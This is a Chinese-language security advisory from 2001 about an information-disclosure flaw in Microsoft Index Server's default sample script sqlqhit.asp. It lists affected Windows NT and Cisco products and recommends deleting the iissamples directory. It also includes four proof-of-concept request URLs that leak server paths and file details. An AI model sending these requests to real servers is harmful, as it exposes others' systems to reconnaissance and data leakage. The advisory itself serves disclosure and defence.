发布日期：2001-09-14
更新日期：2001-09-18

受影响系统：

Microsoft Index Server 2.0
   + Microsoft IIS 4.0
      + Microsoft Windows NT 4.0 Option Pack
         - Microsoft Windows NT 4.0SP7
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP6a
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP6
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP5
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP4
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP3
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP2
            + Microsoft Windows NT 4.0
         - Microsoft Windows NT 4.0SP1
            + Microsoft Windows NT 4.0
         + Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.5
         - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
         - Microsoft Windows NT 4.0
      + Cisco uOne 4.0
      + Cisco uOne 3.0
      + Cisco uOne 2.0
      + Cisco uOne 1.0
      + Cisco Unity Server 2.4
      + Cisco Unity Server 2.3
      + Cisco Unity Server 2.2
      + Cisco Unity Server 2.0
      + Cisco IP/VC 3540
      + Cisco ICS 7750
      + Cisco Call Manger 3.0
      + Cisco Call Manger 2.0
      + Cisco Call Manger 1.0
      + Cisco Building Broadband Service Manager 5.0

描述：

---

BUGTRAQ  ID: 3339
CVE(CAN) ID: CAN-2001-0986

Microsoft Index Server中有一个样本程序“sqlqhit.asp”，用于演示基于Web的数据
库查询，该程序位于“\inetpub\iissamples\ISSamples\”目录下，且是缺省安装的。

通过向该程序发送一个精心构造的请求，可能导致物理路径，文件属性，甚至是部分文
件内容泄露。

<*来源：Syed Mohamed A （SyedMA@innerframe.com）
  参考：http://archives.neohapsis.com/archives/bugtraq/2001-09/0128.html*>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Syed Mohamed A （SyedMA@innerframe.com）提供了如下测试代码：

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope
=webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope
=extended_fileinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope
=extended_webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope
=fileinfo



建议：

---

我们建议你删除“iissamples”目录

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.microsoft.com/



浏览次数：3907
严重程度：0（网友投票）